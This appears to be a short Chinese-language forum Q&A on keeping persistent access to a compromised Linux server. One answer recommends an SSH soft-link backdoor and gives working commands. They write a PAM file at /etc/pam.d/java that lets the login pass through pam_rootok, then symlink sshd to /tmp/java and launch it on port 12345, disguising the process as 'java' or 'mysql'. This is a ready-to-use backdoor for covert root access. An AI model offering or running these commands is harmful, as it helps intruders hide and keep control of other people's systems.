可以使用定时任务，pam后门，添加账号都可以
4 个回答
ssh软连接感觉意义比较大，同时 连接的进程名改为mysql 或java,隐蔽性好
``` echo " #%PAM-1.0 auth sufficient pam_rootok.so auth include system-auth account include system-auth password include system-auth session include system-auth " >> /etc/pam.d/java ```ln -sf /usr/sbin/sshd /tmp/java;/tmp/java -oport=12345